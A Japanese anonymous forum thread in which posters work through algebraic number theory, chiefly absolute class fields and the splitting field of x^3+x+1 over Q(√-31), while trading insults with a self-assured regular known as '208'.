今度は俺が質問だ。
[2, (1+√-15)/2] も Q(√-3, √5) で単項になるけど、その生成元を
求めてくれ。

208警報発令中
208警報発令中
208警報発令中
208警報発令中

求められるけど
ここには卵白が少なくて
書ききれない

>>432
そういわず最後までやってくれｗ
具体的に確かめるのは大事だ。

やだね

ふははははは
このスレは【resp. も】俺が乗っ取った！

>>438
参考書にはそこまで載っていなかった？
求めるには、あと一週間必要？

>>440

その手は食わないよ。
お前等、すこしは自分の頭を使えよ。全部俺におんぶすんな。

208よ。
お前こそ頭使えよ。だれがお前みたいな腐れ中年におんぶしてんだよ。
薄ら馬鹿，身のほどをわきまえろよ。
お前に聞いてんじゃなくてお前が本当に分かってんのかテストしてんじゃ
ねえか。どうせその問題だって教科書に載ってたのを丸々写してかいてん
だろ？それで教科書の筋から外れた質問には全く答えられないんだろ。
必死こいて難しい教科書手に入れてきたのは立派だが，そのエネルギーを
その教科書をてめえの頭で理解することに少しは振り向けたらどうだ？

>>441
他のみんながわかるにはそれが一番早道。
いばるのはそれからでも遅くはあるまいｗ

上の例は、その本には直接載ってるわけではない。
単にヒントが書いてあるだけ。それも絶対類体の具体例として
書いてあるわけではない。
だけど、まあ分かる人が見れば一発だけどな。

>>444
そんな本お前しか持ってないんだから、確かめようも
あるまい。>>443の問いに答えるのが早道。

>だれがお前みたいな腐れ中年におんぶしてんだよ。

俺が年寄りなのがそんなに面白いか。お前等の取りえは若さだけかよ。
情けねえなｗ

年寄りなのがおもしろいんじゃねえ，電波だからおもしれえんだよ。
頼むから電波弱めてくれよ。

((((( T )))))

>>422
あれもう二年前だっけ、、
注文しときゃ良かったなあ、、

>>446
若さだけじゃあるまい。少なくともこのスレの人たちは
お主以上の「良識」をもっていると思うぞ。
なぜ、「腐れ中年」と呼ばれるか自省すべし。

ここで、いやまだ18なのだが、と言えないのが小物だな

>>449

ほう。じゃあ俺のどこが良識がなく、お前等のどこが良識なのか
具体的にあげてもらおうか。

>>451
バカヤロー、そんな質問すること自体がタコだ、アホ！（208用語）

まあ歳なんて２ｃｈじゃ何とでも言えるからな。
だけど、俺の書いたもの読むとどうみても２０代じゃないと
わかるだろ。教養は隠せないｗ

因みに俺はめったにお前らをアホとは呼ばない。
タコとかｘｘとはたまに呼ぶがｗ

・・・・かなりの幼稚さのみ発信してるよ

そういう唯我独尊的で尊大な態度が
嫌われているの分からないかなあ、、

お前等さ、数学の話したくないの？
俺のことなんてどうでもいいだろ。俺がどんなにイヤなやつ
だろうと数学と関係ないだろ。

あと自分のことを無教養、無知識と決め付けてきたレスには過剰反応するくせに
相手のことは直ぐに無教養とか決め付けるところとかもね

そりゃ208は大半の人間よりはよく勉強してるにしてもさ
大学教授にだって数学板に書き込む人が居るんだから
208よりよく分かってる人が書き込んでる可能性だって充分に考えられるだろ？
井の中の蛙だと思うんだな

>>457
たいしたことも言わないから関係ある

>>457
だから、おっさん専用のスレ作ったじゃないか。
そこで信者集めて講義するがよろし

俺のレスを初めから追ってみろよ。まともなこと言ってるじゃないか。
たまにｘｘが妙なこと言うからしかりつけてるだけ。

ｘｘ
くらげ

>>458

俺より出来る人間はゴマンといるよ。あたりまえ。
俺は優劣を競ってるわけじゃない。

言ってることが支離滅裂

>>463-464
しね

たとえばどこ？詳しく聞こうじゃないか。

優劣を競ってないといいつつ、

質問に質問で返す
人を無教養、無知識と切り捨てる
etc

過去にもさらに見つかるであろう。しかし君は国語の論理はわからぬようだから、
この指摘におかしな反論を期待するのみである。

あのね。俺に喧嘩を売るやつは別。当り前だろ。

208を相手にするのは疲れる。ワンルームマンションの
電話セールスみたいだ。何か答えるとそれをネタに
一方的に延々としゃべり続ける。相手にしないのが一番なんだが・・・

>>469
だったらレスするな

>>468
はらね。一見あたりまえ過ぎるように見えて、近視眼すぎる言説。
君は実に愚かだよ。

>>471
激しく板違い

君達は俺が方程式論は現代では重要じゃないと言ったから
面白くないんだろ。だから感情的になってる。
だけど、それはおかしいんだよ。俺の意見が間違ってると思うなら
感情的になる理由はない。実は君らは俺の意見は正しいと心の底では
思っているんじゃないのか？ そうでなけりゃ、感情的になる
説明がつかないんじゃないか？

>>470
確かに。ただ、なんとか208専用スレに誘導したくて。
ガロア理論と関係ない話題を延々と続けるのなら、
「俺専用のスレに来い」とか言えんのかね。

類体論や虚数乗法はガロワ理論と関係大有りなんだけど。

>>473
あんた絶対類体の具体例作るとき方程式を使わなかったか？

使ってない。誤解してるようだから言うけど、俺のいう方程式論と
いうのは可解性の判定理論のこと。

>>477
要するに最初から方程式論のことをわかってなかったってこと。
「方程式論＝可解性の判定理論」と決めつけているのは、このスレで
はあんただけ。

アーベルやクロネッカーなどの昔の人は現代数学のような体論には
なじみがなかった。だからアーベル拡大体を扱うときに
アーベル方程式を介して彼らの理論を記述するんだよ。
だから一見、彼らは方程式論に重きを置いているように見える。

ガロワの方程式論といったら可解性の判定理論のことなんだけど。
俺はこのスレで何度もそういってる。

>>480
それは、おたくが突然現れて勝手にそう言っているだけ。
ガロワの方程式論の一つの成果が可解性の判定であることは確か。
ガロワの方程式論はそれ以上の広がりを持っている。

>>474

ＸＸかｗ
来てほしかったら題名をなんとかしろ。
まあ、題名変えても行かないが。

>>481

議論するうえで言葉の定義が必要だろ。ひとまずそう定義したんだ。
君みたいにガロワの深淵な理論と言ったらあいまい過ぎて
話にならない。

208はどうやら教科書マニアらしいから、読んだ教科書だけで
判断しているらしい。

>>483
だったら、最初からお呼びでないね。

君達(の一部だろうが)と話すと疲れるんだよ。言葉を全部正確に定義して
話さないとすぐトンでもない誤解をする。普通は相手が変なこと言ってる
と思ったらこっちが何か誤解してるかもしれないと思うもんだけど、
そういう考えは夢にも持たないらしい。

king一味は板違い
煽りをスルーできないコテハンはいらん
板違いのコテ叩きをする名無しもいらん

別にいいだろ。俺がスルーしたらこの板は死んだも同然なんだから。
その証拠に俺がレスしないと全然のびないだろ。

>>485

今時、ガロワの深淵な理論(楕円関数がらみの)を勉強する学生なんて
いないって。はっきりいってプロの数学者だって彼の言ってること
分からないんじゃないか？

スレの流れを読まずに、自分で作った定義を押しつけ、その中で
しか議論できない208は、自分専用のスレに帰るのがベスト（以下）

198が自分は偉いと言い続けるスレ

>>489
だから、簡単な具体例でも作るのに苦労する。できても
２次方程式しか出てこない。

方程式論の議論は終わったんだよ(３日ぐらい前)。
俺の負けってことになったｗ
だから、そう怒るなよ。

普通は相手が変なこと言ってる
と思ったらこっちが何か誤解してるかもしれないと思うもんだけど、
そういう考えは夢にも持たないらしい。

ﾜﾗﾀ

>>491

じゃあ、あなたは簡単でない具体例を知っているのですか
(急に言葉使いが丁寧になる)？
ぜひ教えてください。お願いします。ペコリ

>>486
208は自分が定義すれば、他の人が従うのは当然と考えているようだ。
もし皆が使う言葉だったら、その定義が妥当かどうかまず議論すべき。
208も他の椰子が「ガロア理論」という言葉を使うとき、自分の狭い意味
でしかとらえていなかったろう？　違うか？

俺は、208が「ガロア理論の幾何学的側面」に着目して
絶対類体なるものを構成してくれると期待したんだが。

>>495

議論上の仮の定義にそうムキになることないだろ。
単なる用語の問題だよ。大事なのは中身だろ。

>>496

だから虚数乗法を使うと言ってるだろ。
代数幾何だろ。

>208も他の椰子が「ガロア理論」という言葉を使うとき、自分の狭い意味
でしかとらえていなかったろう？　違うか？

文脈によるけど、普通にガロワ理論といったら、教科書で習うガロワ理論だろ。
それ以外の意味を持たせる場合は前もって説明すべきだろうな。

おまんこ女学院

>>434に答えてくれる人いないのか？

>>496

数論を専攻してる院生に絶対類体の具体例を聞いてみてくれ。
まずすぐに答えられる人間はいないだろう。

>>434
勘で(√5+√(-3))/2かな？
2=(√5+√(-3))/2･(√5-√(-3))/2だし
(1+√(-15))/2=√5(√5+√(-3))/2-2だし。

>>503

(√5+√(-3))/2 ∈ (2, (1+√-15)/2) の証明は？

おっさん早起きだな。

>>499
いまさらじたばたしても遅いよｗ　２次「方程式」使っちゃったもんね。

２次方程式の群って、普通のガロア理論の本に出てないか？

まだぁ？

２次方程式の群って、普通のガロア理論の本に出てないか？

ここにあるぞ。但し、このページを作った当人はガロア理論を知らないらしい。

ttp://imai48.hp.infoseek.co.jp/japanese/vector2/houteishiki/daisu/no0200.html

>>504

ヒント：√5 と √-3 は互いに素、つまり (√5, √-3) = (1)

大げさに言えば代数は幾何の一部と書いたけど、可換代数に
関しては大げさでもなんでもなくまさにこのとうり。
今では可換代数は代数幾何の一部になっている。
問題は非可換代数なんだけど、非可換環のホモロジー代数
が有効なことから、これも幾何とのつながりがあると思う。

質問

1) 非可換環のホモロジー代数って何？具体例を構成してみて。
2) 非可換環のホモロジー代数が何に対してどう有効なの？

>>494　つくずくうっとうしい奴
ほれ。。。
『Ｑ（√ｰ31）の絶対類体は、
　Ｑ上のＸ＾3＋Ｘ＋１＝０の分解体。』
証明してみな。方程式論を使わずになｗ

それと、Ｑ（√ｰ31）のイデアルが、すべてこの
絶対類体で単項化することも具体的に示してくれ。
208＝類体論に詳しい人、の威厳にかけて

>>513

ふむふむ。すごいですね。有難う。
ついでに実２次体の絶対類体の例もいただけると有難いんですが。

>>512

例えば群のコホモロジーというのはＺ上の群環のコホモロジーだし、
リー環のコホモロジーというのもある。

ときどき、考えさせてくれるレスに出会えるのがうれしい。
>>513 の正解は？

>>517

証明の方法としては、３次式の各根の共役差積を計算するんだろうな。
共役差積イデアルがトリビアルなことを示せばいいんだから。
因みにＱ（√ｰ31）の類数は３のはず。

〜するんだろうな
〜のはず

↑できなくても、自分を優秀に思わせるためにはこういう語尾をつけましょう

>>519
先生！とっても勉強になりました！！

>大げさに言えば代数は幾何の一部と書いたけど、

幾何はなにもしない
するのは代数

はっきりいって幾何は代数と解析の一部

幾何はなにもしないはず。
幾何は代数と解析の一部なんだろうな。

代数と解析が幾何の一部だよ

幾何は何にもしない　皿洗いくらいしろよ

幾何こそ数学！ギリシアを見よ！

幾何は数学の頂点。
代数は幾何の道具。

幾何こそ数学のはず！ギリシアを見ればわかるはず！

そう　ギリシャはどうなったんだ　いま　あんなに栄えているぞ

微積分はグラフの幾何学的な解析（面積とれるこれ？とかいう疑問）から生まれたと思う。
幾何学をこばかにした代数の発展は、わけのわからん話になっていった。
幾何学に立ち戻るこそが必要なのだっ！
ということで以下のすれをたてろ。

(数学の)　|幾何 vs 代数|　(本質は)

どっちが数学の本質なの？

>>528
違うよ。ギリシアは幾何を忘れたから没落したのじゃ！

数学の核心は幾何！！

幾何こそ数学の頂点
代数も解析も幾何学の道具ナリ！

そう　ユークリッド幾何が人類の最高の英知の結晶の象徴だよ

幾何こそ数学の頂点
代数も解析も幾何学の道具ナリ！

って　いうじゃな〜い
でも　それって自分だけじゃ何にもできないってことですから！！

幾何ってもとは　なんぼ　って意味だろ　斬り

208先生から、すばらしいご高説をうけたまわりましょうｗ

代数なんて数の代わりだが何か

解析は解いて分析することか？

数学は数の学？

幾何で一番エライのは幾何級数
それを越えたのが超幾何

そいで南を越えたのがベトナム

数学は数える学問！
代数学は代「数学」で数学の代わりという意味。

>>536>>538
それは日本語だろ
幾何がなんぼのもんじゃってギリシア以来よ

208はどこ行ったんだよ

５次方程式は何故解けないか？　

ttp://imai48.hp.infoseek.co.jp/japanese/vector2/houteishiki/daisu/no0200.html

>>541
古代エジプト以来では？

類体論って奥が深いんだなぁ。それを究めた高木は神

>>502
加藤先生の数論２の８章（岩波出版、現数基礎）に絶対類体の例がいくらかのってる。
そこに絶対類体であるためのわりとお手軽な十分条件がのってるので
さすがに数論専攻の院生ならすぐ例があげられるか
どうかはともかくなんにも答えられないことはないと思う。俺ですらしってんだから。
　
>>504
(√5+√(-3))/2=(√5)((1+√-15)/2)-2√(-3)でいいのでわ？
　
>>513
俺はできたけどしばらくＲＯＭっときます。判別式の公式つかわしてもらったけど。
代理レスたのんでるので書きづらいというのもあるし。

類体論も絶対類体の具体例（イデアルが単項化するところなど）
あたりから始めたら少しは敷居が低くなるかもしれませんね。証明抜きで。
非可換環のホモロジー代数なんかを理解してからやったりすると
普通の人は挫折しますね。

>>546

あそう。絶対類体の例が載ってる本は珍しいんじゃないか？
その本は見てないけど、その点だけでもいいな。
昔の本は載ってないだろう。高木にしろ、Weilにしろ、Langにしろ。
最近の本ではノイキルヒにも無いんじゃないか。

手軽な十分条件って？

因みにその本に実２次体上の絶対類体の例ある？

話はかわるけど、今回、虚数乗法について調べたときWeberのAlgebra
の第３巻（ネットで見れる）を眺めたんだけど、この本よさそうだね。
目次を眺めただけでゾクゾクしたよ。これだけの内容の本って現代でも
無いんじゃないか。少なくとも俺は知らない。俺はドイツ語は不得手
だけど腰をいれて読んでみようかと思っている。

>>547

因みに俺は類体論の証明は殆ど知らないw
第一不等式の解析的証明と類体の存在定理くらいは理解した覚えがある。
今は忘れたが。

>>546

513の例をどうやって見つけたのかが興味のあるところ。
虚数乗法を使ったと思うんだが確信はない。

お〜い、みんなどこ行っちゃんたんだよ〜　夏休みか？
208しかいねぇよ〜
つまんねーから帰ろう（涙

208と遊べばいいじゃないか

おめえたちはちょっとでも本格的数学の話になると乗ってこないんだからｗ

ワークショップ「数学の将来シナリオを考える」開催報告
文部科学省　科学技術政策研究所　科学技術動向研究センター
http://www.nistep.go.jp/achiev/ftx/jpn/stfc/stt051j/0506_03_feature_articles/200506_ws03/200506_ws03.html

1．ワークショップの全体概要
2．数学研究の日本の現状
3．数学研究の将来展望
4．大学における数学研究の現状と将来像
5．産業界および他分野からの数学研究への期待
6．数学を基点とする分野横断型研究拠点へ向けて
7．質疑応答から
8．今後の展開

>>554
数学の話より、208さんを叩いてる方が楽しいんだもん！

何と言うか、自分対自分以外という考え方が
根本的に違うような気がするんだけど、、

2chにはスレ主というものは存在しないとか良く分かってるのかな？

>>513

代数拡大 K/k の相対判別イデアルをd(K/k)
d(k/Q) を d(k) と書く。

d(K) = d(K/k)d(k)^[K:k] の関係がある。

f(X) = X^3 + X + 1 とし、f(X) のQ上の分解体をKとする。
f(X)の判別式は-31
Q(√-31)をkとする。
f(X) の根の１つをθとする
Q(θ)をLとおく。
θの共役をθ^(i), i = 0, 1, 2 と書く。
f(X)の判別式は根の差積Π(θ^(i) - θ^(j)) の２乗だから
Π(θ^(i) - θ^(j)) = √-31 はf(X) の分解体 K に含まれる。
よって k ⊂ K

K = L(√-31) だから d(K/L) = (31)
d(L) = (31)
だから d(K) = d(K/L)d(L)^2 = (31)^3
d(K) = d(K/k)d(k)^3 より d(K/k) = (1)
よってK/kは不分岐。
k の類数は(高木の初等整数論の付録より)３だからKはkの絶対類体。

>>558は俺だ

>>557

俺に言ってるのか？ もっと分かりやすく言ってくれ。
何のことかよくわからん。因みに２ｃｈというのは（そのスレに関係あることなら）
自由に発言できると理解してる。自由といっても法律の許す範囲でという意味。

おいらの>>513の証明。
P(x)=x^3+x+1の分解体をL、Q(√(-31))をKとおく。LがKの絶対類体であることをしめす。
Kのイデアル類群の位数は類数公式から計算（したフリして岩波数学辞典みて）3とわかる。
よってL/Kにおいてすべての有限素点が不分岐であることをしめせばよい。
P(x)の判別式は-31だからL/Qの分岐は31Zにおいてのみ。よってL/Kで分岐している素点の
可能性は31Zの上にあるイデアルしか可能性はない。つまり√(-31)O_Kしかない。
31ZはKにおいて分岐しており分岐指数は2だから31ZのLにおいての分岐指数fが2であることを
しめせばよい。31Zの上にあるO_Lの素イデアルの個数をg、L/Qにおける31Zの
分岐指数をf、拡大次数をeとおく。6=efg。
P(x)=0の解をα、β、γとする。R=Z[α、β、γ]とおく。
P(x)≡(x-3)(x-14)^2 (mod 31)ゆえ31Zの上にあるRの素イデアルは
A=<31,α-3,β-14,γ-14>、B=<31,α-14,β-3,γ-14>、C=<31,α-14,β-14,γ-3>
の３つあるので31Zの上にあるO_Lの素イデアルはすくなくとも３つある。つまりg≧3。
K/Qにおいて31Zの分岐指数は2なので
L/Qにおいての分岐指数=f≧2。以上により(e,f,g)=(1,2,3)。
よってL/Kにおける√(-31)O_Kの分岐指数は1。

>>561
>P(x)の判別式は-31だからL/Qの分岐は31Zにおいてのみ。

これは何故？
P(x)の１つの根θをQに添加した体Q(θ)/Qの分岐は31Zのみなのは
わかるけど。

>>561
>P(x)=0の解をα、β、γとする。R=Z[α、β、γ]とおく。
>P(x)≡(x-3)(x-14)^2 (mod 31)ゆえ31Zの上にあるRの素イデアルは

これは何故？
R=Z[α]においてはそうなることはよく知られているけど。

>>558
>d(K) = d(K/k)d(k)^[K:k] の関係がある。

d(K) = N(d(K/k)) d(k)^[K:k] の関係がある。
の間違いだったｗ

>>558
>K = L(√-31) だから d(K/L) = (31)

これも嘘w
N(d(K/L)) = (31) が正解だろう(たぶん)。

>>558のアプローチはいいけどK/Lの相対判別式d(K/L)を求める方法
が書いてない。KのQ上の整数基が求まればいいけど、これが厄介。
計算を試みたけど面倒すぎて諦めたw

俺の周りでは、Weber は読んでいる人間は普通にいるんで、
なんか今さらのように言っている208見ると、まあ程度がわかるねｗ
修士の頃は三巻目だけあれば十分と思っていたが、方程式論を詳しく
書いている二巻目が後になって役に立ってきた。

Fricke のほうがごちゃごちゃ書いていて、本としてのまとまりは
悪いが、その分かえって役に立つこともある。

僕ちゃん、あれ読んじゃったもんねかよ。えらいえらいｗ

>>568
ひがむなよ。結局、君より知っている人間なんてたくさん
いるんだよ。もっと謙虚におなり。しかし、Weberを読むなんて
すごいな。どんな感じの本かもう少しくわしい話はない？

はあ？俺がひがんでるわけないだろ。
俺は誰よりも数学を知ってるなんて言った覚えはないよ。
むしろ、俺より出来る人間はゴマンといると書いた。

数学は広くて深いんだ。その全部に精通してる人間なんていやしない。

>>570
> 僕ちゃん、あれ読んじゃったもんねかよ。えらいえらいｗ

この言葉から僻みと妬みがにじみ出てくるように感じるのはおれだけかｗ

しょうがねえな。ある本を読むことがそんなに凄いことなんかよ。
なわけねえだろ。これを僻みから言ってると思うなら、お前
．．．勘違いしてる(言葉を和らげた)。

>>570
> むしろ、俺より出来る人間はゴマンといると書いた。
頭でわかっていても、いざ現れるとプライドが傷つけられる。。。

>>573
>ある本を読むことがそんなに凄いことなんかよ
別に本人が自慢しているわけではないだろう？　凄いと思うのは
それを聞いた周りが勝手に思うこと。
ところで、Weberってそんなに簡単なのか？

>>573
繰り返す：
> 僕ちゃん、あれ読んじゃったもんねかよ。えらいえらいｗ
この言葉にお前の人格・性格・世界観・人生観・宇宙観・数学観
・劣等感・優越感その他もろもろ、そのすべてが込められている。

>別に本人が自慢しているわけではないだろう？

よく言うよｗ

まだ、やってるんだ。楽しそうね。

208が読んだ数論の本列挙してよ。数論じゃなくてもいいけど。

最近ではFoundations of p-adic Teichmuller Theoryがなかなか楽しかったよ。
お前には読めないだろうがw

読めねえよそんな本。内容教えてくれよ。

>>580は俺じゃない。

俺は数論なんて大昔にちょっと齧っただけ。

>>582
> >>580は俺じゃない

知るか

おっさんトリップつけてくれよ。

内容教えられないから別人だとかほざいたのか？

スレを追ってればわかるだろ。前にも書いたけど数論は今やってない。

>>586
それじゃ、>>579の質問に答えてないんじゃないの。

それより、f(X) = X^3 + X + 1 のQ上の分解体の整数基を求めてくれ。
まずf(X)の根の１つをθとして、α = θ+√-31 としたとき、
判別式 d(1, α, α^2, ..., α^5) を計算してくれ。
これが符号を除いて(31)^3なら、1, α, α^2, ..., α^5 が整数基。
(31)^3で無くとも、この判別式の値から手がかりが得られる。

ところで、話はちょっと変わるけど(スレ違いだし)、
L/K を代数体の(有限次)代数拡大として、A, B をそれぞれ K , L の
主整環とし、I を A の(０でない)イデアルとしたとき、IB ∩ A = I
の証明ってどうやってる？ 高木のは不定元を使う証明であまり好きでない。
可換代数的にスマートにやる方法は(俺は自分で考えたけど)？
意外に本に載ってないんだよ。

主整環の定義は？整数環とは別物？

正確に言うと整環(order)というのは整閉とは限らない。
普通は極大整環または主整環のことを整数環と言ってる。

すまん聞き方が悪かったか。俺は整数環を極大整環のつもりで言った
んだ。普通そうだろ？

で俺は主整環という単語を初めて聞いたんで208に確認したかったんだが，
ようするに極大整環＝主整環＝整数環でOKなんだな。

例えば K を Q のｎ次拡大で、θを K に含まれる n次の整数とする。
Z[θ] は K の整環だけど主整環とは限らない。

だから馬鹿の俺でも整環と極大整環（＝整数環）の区別くらいついて
るって。

因みに環(ring)という言葉は、今の例 Z[θ] から来てる。
何故、これを環というかというと、1, θ, ..., θ^(n-1)
がこの環の加群としての生成元で、θ^(n-1)にθを掛ける
とθ^n は再びこの加法群に含まれる。つまり、θ^(i) は
循環するから。

いや知らない人間(もし、いたらの話)に言ってる。
そう気にするなよ。
こちらがちょっと難しいこと言うとわからないくせに、知ってることを
言うと起こる。疲れるなｗ

おっさん，もういいよ…そんなこと聞いてねえから…

高木の本スマートじゃなかったか？ちゃんと書いてあったと思ったけどな。
家に帰って確認してみるよ。じゃあなおっさん。

>>596
バカヤロー、くだらんことで威張るな。このアホ！

>>563
＞>P(x)=0の解をα、β、γとする。R=Z[α、β、γ]とおく。
＞>P(x)≡(x-3)(x-14)^2 (mod 31)ゆえ31Zの上にあるRの素イデアルは
＞
＞これは何故？
Rの31Zの上にある素イデアルIをとるとR/Iは(Z/31Z)[x]/(x-3)(x-14)^2の商代数で
整域であるものゆえZ/31Zそれ自身しかない。よってπ:R→R/I≡Z/31Zを
自然な全射とするとき
(π( α)、π(β)、π(γ))
=(3+31Z,14+31Z,14+31Z)、(14+31Z,3+31Z,14+31Z)、(14+31Z,14+31Z,3+31Z)
のいづれかしかゆるされない。それぞれの場合についてkerπがきまる。
>>566にあるようにO_Lを具体的に計算するのは大変そうなのでやめた。
たぶんZ[α,β,γ]=O_Lになってると思うけどそのことは証明しなくても>>561の証明
は通用するのでこれでいいことにした。

ちょっと捕捉。
　
＞Rの31Zの上にある素イデアルIをとるとR/Iは(Z/31Z)[x]/(x-3)(x-14)^2の商代数で
　
テストの解答でこんなこといきなり書くと減点くらうだろうから。
このこと自体もR/Zでの31Zの拡大次数が1であることを直接しめすこともできるけど
よくよくかんがえたら31Zの上にある素イデアルPをとってπ:R→R/Pを自然な
写像とするとπ(α)=3+P or 14+P、π(β)=3+P or 14+P、π(γ)=3+P or 14+P、
かつα、β、γがRをZ代数として生成しているのでimπ≡Z/31Z。
こうやるほうがスマートだった。

＞こちらがちょっと難しいこと言うとわからないくせに、知ってることを
＞言うと起こる。

自分のことを言ってるよｗ

>>599

>>562は？

作ったでーすＹＯ
http://hidebbs.net/bbs/dainashi?sw=7

>>602
永田雅宜、可換体論、裳華房、定理2.5.2、p57の証明中にでてくる事実
　
事実
K⊂Lが体でα，β∈LをK上分離的な代数的元とするとき高々有限個のt∈Kをのぞいて
α、β∈K(α+tβ)。とくにL=K(α1,･･･,αn)とするとき
L=K(t1α1+･･･+tnαn)をみたす(t1,･･･,tn)∈K^n=A^n(K)の集合はZariski Openを含む。
あるいはそれをみたす(t1,･･･,tn)∈O_K^n=A^n(O_K)の集合もZariski Openを含む。
　
それと加藤和也、数論２、岩波、命題6.39、p221
　
命題6.39
L,Kが代数体でL/Kは有限次ガロア拡大、α∈O_LがL=K(α)をみたすとする。
(注O_L=O_K(α)でなくともよい。)
このときf'(α)をふくまないO_Lの素イデアルqはL/Kで不分岐。
　
この２つをくみあわせると
　
L/Kが代数体でLがモニックなO_K係数の多項式P(t)の分解体であるとき
有限素点x∈spec O_KがPの判別式dをふくまないときxはL/Kで不分岐。
　
がしめせる。証明は簡単だが書くのまんどくせ。

>>604はもっと簡単な証明おもいついた。ひさしぶりに永田ｾﾝｾの可換体論よみながら。
L/Kを代数体の有限次ガロア拡大、R,SをK,Lの整数環、q∈specSをp∈specRの上にある
イデアル、G=Gal(L/K)=Gal(S/R)、H={σ∈G | σq=q}、V={σ∈G | σx-x∈q (∀x∈S)}
k=R/p、l=S/qとおく。l/kはガロア拡大。
このとき自然な写像H→Gal(l/k)が定義されそれが全射でkernelがVというのが
ガロア群の還元の重要な定理だけど（永田雅宜、可換体論、裳華房、定理6.3.2）
これをもちいて一方でL/Kにおけるpの拡大次数、分岐次数、上にある
イデアルの個数をそれぞれe,f,gとするとn=efgにn=#Gal(L/K)、e=#Gal(l/k)=#H/#V、g=n/#Hを
代入してf=#V。つまり不分岐⇔#V=1。
でこれがSのG-stableな部分環で成立するかどうかだけど
S'をG-stableなSの部分環として
q'=q∩S'、H'={σ∈G | σq'=q'}、V={σ∈G | σx-x∈q (∀x∈S')}、l'=S'/q'とおく。
やはり自然な写像H'→Gal(l'/k)が誘導されてk⊂l'⊂l、R⊂S'⊂Sから行完全な可換図式
　
　1→V→H→Gal(l/k)
　　　↓　↓　　↓
　1→V'→H'→Gal(l'/k)
　
がえられるけどH→H'は包含写像なので単射。よって（続く）

（続き）
V'={1}
⇒ H→H'→Gal(l'/k)の合成が単射
⇒ H→Gal(l/k)→Gal(l'/k)の合成が単射
⇒ H→Gal(l/k)が単射
⇒ V={1}
⇒ pは不分岐
つまりV'={1}⇒pは不分岐はS=O_Lでなくとも成立する。たぶん逆も成立する気はするけど
>>561の話では関係ない。
実際pを31以外の素数、qをpZの上にある(>>561の)Rの素イデアルとすると
α+q、β+q、γ+q、はS/qの元として全部ことなるので自然な全射H→Gal(l/k)は単射となり
つまりVが自明群、よってすでにのべた通りpZは不分岐。
･･･要するにこの｢Vが自明⇒不分岐｣という関係をもちいて不分岐性をチェックする方法は
O_Lの計算をしなくてもよいということがわかる。
ひさしぶりに可換体論とかガロア理論のいい復習をさせてもろた。

分岐するのが31と分かっているなら次のような証明もある。

>>561の記号を踏襲する。
P(x)=x^3+x+1の分解体をL、Q(√(-31))をKとおく。
P(x)=x^3+x+1の根の１つをαとしQ(α)をMとおく。
P(x)≡(x-3)(x-14)^2 (mod 31)だから
Mで(31) = (P_1)(P_2)^2 と素イデアルの積に分解する。

L/Mは２次のガロア拡大だから、
P_1はLにおいて以下の３パターンの１つに分解する。
P_1 = Q
P_1 = (Q_1)(Q_2)
P_1 = Q^2

P_2の分解も同様。

L/Qが6次のガロア拡大であることを使うと(efg = 6)、
P_1 = (Q_1)^2
P_2 = (Q_2)(Q_3)
のパターンしかないことが分かる。
よって、L/Q において (31) = ((Q_1)(Q_2)(Q_3))^2 となる。
31のK/Qでの分岐指数は2だから、L/Mは不分岐。

>>607
>31のK/Qでの分岐指数は2だから、L/Mは不分岐。

L/Kは不分岐の間違い。

>>607
>分岐するのが31と分かっているなら次のような証明もある。

分岐するのが31「のみ」と分かっているなら次のような証明もある。

どうも今朝は寝起きが悪くて(いつもか)w

結局>>558の方針はどうなったの？もう放棄？

>>605
>>604はもっと簡単な証明おもいついた。

>>604
>L/Kが代数体でLがモニックなO_K係数の多項式P(t)の分解体であるとき
>有限素点x∈spec O_KがPの判別式dをふくまないときxはL/Kで不分岐。

>>605はこの証明に以下の事実を暗黙に使ってるようだけど。

判別式dを割らない素数pは、ZにP(t)の根を添加した環Rにおいて
不分岐となる。

これって、一般に言えるの？

x^3+x+1の分解体の整数基(の一組)は、
{1,θ,θ^2, λ,λθ,λθ^2}
じゃないかと睨んでいる(一応根拠はある)。
ここで、θは X^3 + X + 1 の根の（任意の）１つ。
λ= (1+3√-31)/2

|d(1,θ,θ^2, λ,λθ,λθ^2)| = (31)^3
を確かめればいい。誰か確かめる気ない?

計算の方法は、Tr(λ^iθ^j) を求めてから det(Tr(λ^iθ^j)) を計算する。
Tr(λ^iθ^j) は、全部の組み合わせをやる必要はない（対称行列だから）し、
公式 Tr(aα+bβ) = aTr(α)+bTr(β) を使えば楽になる。

なんか勉強になるな。だんだん具体的なイメージが
つかめてきた。

>>612
>x^3+x+1の分解体の整数基(の一組)は、
>{1,θ,θ^2, λ,λθ,λθ^2}
>じゃないかと睨んでいる(一応根拠はある)。
>ここで、θは X^3 + X + 1 の根の（任意の）１つ。
>λ= (1+3√-31)/2

やあ悪い、これ大嘘w
勘違いしてた。
λ= (1+√-31)/2 として計算してみた。
判別式d(の絶対値)は 31^5 となって{1,θ,θ^2, λ,λθ,λθ^2}
は整数基にならない。

>>609
>分岐するのが31「のみ」と分かっているなら

分岐するのが31「のみ」の証明を以下に述べる。
x^3+x+1の分解体をLとする。
K = Q(√-31) と置く。
θを X^3 + X + 1 の根の（任意の）１つとする 。
L = K(θ)となる。
K, L の主整環をそれぞれA, B とする。
31を割らないKの素イデアルをPとする。
S = A - P として、S によるA, Bの局所化を A[1/S] = A_P,
B[1/S] = B_P とする。
B_P は A_P のLにおける整閉包である。
A_Pは離散付値環だから、B_P はA_P上の自由加群となる。
d(1, θ, θ^2) = -31 で　31 は A_P の単数だから、
{1, θ, θ^2} は B_P の A_P上の基底である。
つまり、B_P = A_P[θ] となる。
X^3 + X + 1 の判別式-31はPで割れないから、
X^3 + X + 1 はmod P で平方因子をもたない。
よって、PA_P は B_P で不分岐。
よって P は B で不分岐。
P はK/Qにおいても不分岐だから、31はLにおいて不分岐。

>>615
いやいや間違いも参考になるよ。その調子で
頑張ってくれ。

>>616
>P はK/Qにおいても不分岐だから、31はLにおいて不分岐。

以下のように訂正する。

K/Qの判別式は-31。
よって、P∩Q はK/Qにおいても不分岐だから、P∩QはLにおいて不分岐。
よって31以外の素数はLにおいて不分岐。

θを X^3 + X + 1 の根の（任意の）１つ、λ= (1+√-31)/2 として
ω = θ + λ とおく。
{1, ω, ..., ω^5} の判別式を誰か計算してくれないか？
この判別式が符号を除いて (31)^3 になれば、これが整数基となる。
この可能性はかなり高いと思うけど、本当のところは計算してみなけりゃ分からない。

どう？、俺も結構具体的だろｗ
抽象論だけでなく具体論もやるｗ

はいはいｴﾛｽｴﾛｽ

おちゃらけはいいから少しは計算してみたら？
俺も>>615の計算にはＡ４のメモ用紙３，４枚使ったんだよ

そもそも>>615の記号でK=Q(θ)の整数環はZ[θ]なんだろうか？
それから疑問なんだけど。それは確認されてんの？

>>623

